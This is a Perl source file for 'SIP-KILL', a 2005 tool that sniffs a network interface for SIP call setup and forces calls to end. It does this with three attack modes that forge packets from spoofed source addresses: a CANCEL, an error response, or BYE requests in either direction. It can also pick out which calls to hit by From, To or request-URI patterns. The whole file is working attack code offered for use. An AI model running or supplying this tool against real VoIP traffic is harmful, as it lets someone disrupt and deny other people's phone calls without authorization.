#!/usr/bin/perl
# SIP-KILL
# ==============
# Sniff a interface for SIP-INVITE-requests and tear down upcoming calls
# with different methods.
#
# Copyright (C) 2005 Thomas Skora
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# Changelog:
# 0.1: first version
# 0.2: (25.08.2005)
# - BYE-attack supports now both directions
# - some bugfixes&cleanups
# - selective attacks now possible
# 0.2a:
# - small bug: request pattern was taken from from-pattern.
# 0.3:
# - added some options that remove from/to-tags and the call-id
# - fixed bug in bye/from-attack
# 0.3a:
# - added real datalink detection
#
# TODO:
# - All attacks kill INVITEs unreliable. If one packet generated by
#   this program gets lost, the user can proceed with the call.
# - $invites hash leaks memory if responses are lost.
# - Short SIP headernames are not supported.

use Net::Pcap;
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::UDP;
use Net::RawIP;
use Getopt::Std;
use Digest::MD5 qw(md5_base64);

$default_iface = "ppp0";

sub HELP_MESSAGE {
  print <<EOH
  Usage: sip-kill [options] [From-Pattern] [To-Pattern] [Request-URI-Pattern]

 -v            Be more verbose.
 -o            One pattern (OR-behaviour) instead of all (AND) must match.
 -i<iface>     Specify interface to listen for SIP-packets.
 -m<method>    Use one of the following methods to tear down the call:
               CANCEL:   Send CANCEL-request to target-ip after provsional
                         1xx response. (default)
               BYE:      Send BYE-request to target-ip after call is
                         established. See -b and -d.
               RESPONSE: Send response xxx to source-ip. The code should be
                         yxx with 4 <= y <= 6. Use -e to change description.
 -r<code>      Change response code from default (600)
 -t<string>    Change description of the response code from default.
 -d<direction> Direction of BYE request
               to   = from caller to callee
               from = from callee to caller
               both = both directions (default)
 -h<hdrs>      remove or manipulate header values, comma separated list
               of actions: {r,m}{f,t,c}
               r = remove, m = modify (random value)
               f = from tag, t = to tag, c = Call-Id

 The patterns are perl-flavoured regular expressions which are corresponding
 to the given headers. If one attribute should be ignored, use . (point) as
 pattern.
EOH
}

sub send_rawudp {		# send raw UDP packet with payload
  my ($fromip, $fromport, $toip, $toport, $payload) = @_;

#  print "RAW from $fromip:$fromport to $toip:$toport\n";

#  print "---\n$payload";

  my $rawpkt = new Net::RawIP({
			       ip => {
				      saddr => $fromip,
				      daddr => $toip
				     },
			       udp => {
				       source => $fromport,
				       dest => $toport,
				       data => $payload
				      }
			      });
  $rawpkt->send;
}


# post-process SIP-packet according to -m parameter
sub pp_headers {
  my $sip = shift;

  # remove headers
  if ($headers{c} eq 'r') {	# Call-Id
    $sip =~ s/^Call-Id:.*[\r\n]*//mi;
  }
  if ($headers{f} eq 'r') {	# from tag
    $sip =~ s/^(From:[^;]*).*;tag=[^;\r\n]+/$1/mi;
  }
  if ($headers{t} eq 'r') {	# from tag
    $sip =~ s/^(To:[^;]*).*;tag=[^;\r\n]+/$1/mi;
  }

  # randomize headers
  if ($headers{c} eq 'm') {	# Call-Id
    my $callid = md5_base64("$sip:callid");
    $sip =~ s/^(Call-Id:).*(@.*)[\r\n]*/$1$callid$2/mi;
  }
  if ($headers{f} eq 'm') {	# from tag
    my $tag = md5_base64("$sip:fromtag");
    $sip =~ s/^(From:.*;tag=)[^;\r\n]+/$1$tag/mi;
  }
  if ($headers{t} eq 'm') {	# from tag
    my $tag = md5_base64("$sip:totag");
    $sip =~ s/^(To:.*;tag=)[^;\r\n]+/$1$tag/mi;
  }
  return $sip;
}


sub process_sip {
  my ($ud, $hdr, $pkt) = @_;

# TODO: add more of them
  if ($ud == 113) {
    # Snip "Linux cooked capture"-stuff away
    $pkt =~ s/^.{16}//;
  } elsif ($ud == 1) {
    # Snip Ethernet-header away
    $pkt = NetPacket::Ethernet::strip($pkt);
  }
  my $ip_pkt = NetPacket::IP->decode($pkt);
  if ($ip_pkt->{proto} != 0x11) { return } # just capture UDP, in future maybe with pcap-filters, but for now...
  my $udp_pkt = NetPacket::UDP->decode($ip_pkt->{data});
  if ($udp_pkt->{dest_port} != 5060 && $udp_pkt->{src_port} != 5060) { return }	# just SIP-destport
  my $sip_pkt = $udp_pkt->{data};

  # some preprocessing
  $sip_pkt =~ s/\r//g;
  @sip_pkt = split /\n/, $sip_pkt;

  if ($opt_v) {
    print "From $ip_pkt->{src_ip}:$udp_pkt->{src_port} to $ip_pkt->{dest_ip}:$udp_pkt->{dest_port}: $sip_pkt[0]\n";
  }
# some debugging stuff
# for ($i = 0; $i < scalar @sip_pkt; $i++) { print "$i| $sip_pkt[$i]\n" }
# foreach my $line (@sip_pkt) { print "$line\n"; }
# print "$sip_pkt\n"
# print $pkt;

  if ($sip_pkt[0] =~ /INVITE/) { # incoming INVITE-request: save it
  # selective attack
    if (!defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) && ($sip_pkt =~ /^To:.*$topat/mi) && ($sip_pkt =~ /^INVITE.*$reqpat/mi))) {
      if ($opt_v) { print "not matching\n" }
      return
    }
    if (defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) || ($sip_pkt =~ /^To:.*$topat/mi) || ($sip_pkt =~ /^INVITE.*$reqpat/mi))) {
      if ($opt_v) { print "not matching\n" }
      return
    }

    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call
#   print "$callid\n";
    $invites{$callid} = {
			 sip => $sip_pkt,
			 saddr => $ip_pkt->{src_ip},
			 sport => $udp_pkt->{src_port},
			 daddr => $ip_pkt->{dest_ip},
			 dport => $udp_pkt->{dest_port}
			};
  }

  if ($opt_m eq "cancel") {	# the CANCEL-attack
    if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+1[0-9]{2}/) {	# 1xx provisional response - now CANCEL can be sent
      my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call
      if (defined $invites{$callid}) { # 1xx belongs to previous saved INVITE
	my $newsip;

	$sip_pkt = $invites{$callid}{sip}; # discard 1xx - don't need it any more
	$sip_pkt =~ s/INVITE/CANCEL/g;
	foreach $line (split /\n/, $sip_pkt) {
	  if ($line =~ /^(?:CANCEL|Via|CSeq|To|From|Call-ID|User-Agent|Contact)/i) { # only a subset of headers for CANCEL
	    $newsip .= "$line\r\n";
	  }
	}
	$newsip .= "Content-Length: 0\r\n\r\n";
	#     print "$newsip\n";

	$newsip = pp_headers($newsip);

	my ($from) = ($sip_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi);
	my ($to) = ($sip_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi);
	print "Cancelling INVITE from $from to $to\n";

	send_rawudp($invites{$callid}{saddr}, $invites{$callid}{sport}, $invites{$callid}{daddr}, $invites{$callid}{dport}, $newsip);

	undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future.
	# TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE.
      }
    }
  } elsif ($opt_m eq "response") { # the response-attack
    if (!($sip_pkt[0] =~ /INVITE/)) { return }

    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call
    my $respcode = defined $opt_r ? $opt_r : "600";
    my $resptext = defined $opt_t ? $opt_t : "Busy Everywhere";

    my $newsip = "SIP/2.0 $respcode $resptext\r\n"; # construct response packet
    foreach $line (split /\n/, $sip_pkt) {
      if ($line =~ /^(Via|CSeq|To|From|Call-ID|User-Agent|Contact|Route|Record-Route)/i) { # only a subset of headers for response
	$newsip .= "$line\r\n";
      }
    }
    $newsip .= "Content-Length: 0\r\n\r\n";
    #print "$newsip\n";

    $newsip = pp_headers($newsip);

    my ($from) = ($sip_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi);
    my ($to) = ($sip_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi);
    print "Response to INVITE from $from to $to\n";

    send_rawudp($invites{$callid}{daddr}, $invites{$callid}{dport}, $invites{$callid}{saddr}, $invites{$callid}{sport}, $newsip);

    undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future.
    # TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE.
  } elsif ($opt_m eq "bye") {	# the BYE-attack
    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call

    if (!defined $invites{$callid}) { return }	# no interesting packet
#    print "BYE-att: state $invites{$callid}{state}\n";
    if ($invites{$callid}{state} == 0) { # INVITE and nothing further received
      if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+2[0-9]{2}/) { 	# ignore every response that never initiates session
#	print "BYE-att: 2xx received, entering state 1.\n";
	$invites{$callid}{state} = 1;
	if ($opt_d eq 'from') {
	  ($invites{$callid}{contact}) = ($sip_pkt =~ /^(Contact: .*)$/mi); # save complete Contact header for further usage.
	  undef $invites{$callid}{vias}; # save Via headers
	  while ($sip_pkt =~ /^(Via:.*)$/mig) {
	    $invites{$callid}{vias} .= "$1\r\n";
	  }
#	  print "--- Via's ---\n$invites{$callid}{vias}\n";
# Code if Route should be taken from 2xx responses Record-Route fields (buggy)
# 	  foreach my $line (split /\n/, $sip_pkt) {
# 	    if ($line =~ /^Record-Route: (.*)$/mi) { # collect route-hops
# 	      $invites{$callid}{route} .= "$1, ";
# 	    }
# 	    $invites{$callid}{route} =~ s/></>, </g; # preprocess route
# 	  }
	}
	return;
      }
    } elsif ($invites{$callid}{state} == 1) { # waiting for ACK
      if (!($sip_pkt[0] =~ /^ACK/)) {
#	print "BYE-att: ACK not yet received.\n";
	return;
      }

#      print "BYE-att: ACK received!\n";
      if ($opt_d eq 'to' || $opt_d eq 'both') {	# BYE goes from caller to callee
	my $bye_pkt = $sip_pkt;	# construct from ACK
	my $bye_pkt2;

	$bye_pkt =~ s/ACK/BYE/g;
	$bye_pkt =~ /^CSeq:[ ]*([0-9]+)/mi; # increment CSeq
	my $newseq = $1 + 1;
	$bye_pkt =~ s/^(CSeq:[ ]*)[0-9]+/$1$newseq/mi;
	foreach my $line (split /\n/, $bye_pkt) {
	  if ($line =~ /^(?:BYE|CSeq|To|From|Call-ID|User-Agent|Contact|(?:Record-)?Route|Via)/i) { # only a subset of headers for BYE
	    # TODO: Via's eventually need fresh branches
	    $bye_pkt2 .= "$line\r\n";
	  }
	}
	$bye_pkt2 .= "Content-Length: 0\r\n\r\n";

	$bye_pkt2 = pp_headers($bye_pkt2);

	my ($from) = ($bye_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi);
	my ($to) = ($bye_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi);
	print "Response to INVITE from $from to $to\n";

	send_rawudp($invites{$callid}{saddr}, $invites{$callid}{sport}, $invites{$callid}{daddr}, $invites{$callid}{dport}, $bye_pkt2);

	if (!($opt_d eq 'both')) { # if needed for other direction
	  print "Cleaning up call $callid\n";
	  undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future.
	  # TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE.
	  return;
	}
      }

      if ($opt_d eq 'from' || $opt_d eq 'both') { # BYE goes from callee to caller
	$sip_pkt =~ /^From:.*(<.*>)/mi;	# extract From-URI of ACK for request line
	my $bye_pkt = "BYE $1 SIP/2.0\r\n"; # request line

	my ($from) = ($sip_pkt =~ /^From:(.*)$/mi);
	my ($to) = ($sip_pkt =~ /^To:(.*)$/mi);
	$bye_pkt .= "From:$to\r\nTo:$from\r\n";	# swap From and To headers
	$bye_pkt .= $invites{$callid}{vias};
	#	$bye_pkt .= "Route: $invites{$callid}{route}";
	$sip_pkt =~ /^CSeq:[ ]*([0-9]+)/mi; # add incremented sequence number
	my $newseq = $1 + 1;
	$bye_pkt .= "CSeq: $newseq BYE\r\n";
	$bye_pkt .= "$invites{$callid}{contact}\r\n";
	foreach my $line (split /\n/, $sip_pkt) {
	  if ($line =~ /^(?:Route|Call-ID|User-Agent)/i) { # only a subset of headers for BYE
	    $bye_pkt .= "$line\r\n";
	  }
	}
	$bye_pkt .= "Content-Length: 0\r\n\r\n";
	# TODO: No Via headers
	$bye_pkt = pp_headers($bye_pkt);

	my ($from) = ($bye_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi);
	my ($to) = ($bye_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi);
#	print "BYE:\n$bye_pkt";
	print "Response to INVITE from $from to $to\n";
	send_rawudp($invites{$callid}{daddr}, $invites{$callid}{dport}, $invites{$callid}{saddr}, $invites{$callid}{sport}, $bye_pkt);

	undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future.
	# TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE.
      }
    }
  }

  if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+[3-9][0-9]{2}/) { 	# 3xx-6xx causes new INVITE
    my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call
    print "Cleaning up call $callid\n";
    undef $invite{$callid};	# delete entry from INVITE list
  }
}

$Getopt::Std::STANDARD_HELP_VERSION = 1;
getopts('oi:m:t:r:vd:h:');

if ($opt_i) {
  $iface = $opt_i;
} else {
  $iface = $default_iface;
}

if (defined $opt_m) {
  $opt_m = lc $opt_m;		# lowercase
  if (!($opt_m =~ /^(?:cancel|response|bye)$/)) {
    print "Unknown attack method, aborting!\n";
    exit 1;
  }
} else {
  $opt_m = "cancel";		# default
}

if ($opt_m eq 'bye') {
  if (defined $opt_d) {
    $opt_d = lc $opt_d;
  } else {
    $opt_d = 'both';
  }
  if (!($opt_d =~ /^(?:from|to|both)/)) {
    print "from/to/both are the only possible directions for the BYE-attack!";
    exit 1;
  }
}

if (defined $opt_h) {
  my @hparse = split /,/,$opt_h;

  foreach my $token (@hparse) {
    $token =~ /([rm])([ftc])/;
    $headers{$2} = $1;
  }
}

$frompat = $ARGV[0] || "";
$topat = $ARGV[1] || "";
$reqpat = $ARGV[2] || "";

defined($cap = Net::Pcap::open_live($iface, 65535, 1, 0, \$err)) || die "Can't open capture interface: $err";

Net::Pcap::loop($cap, 0, \&process_sip, Net::Pcap::datalink($cap));

Net::Pcap::close($cap);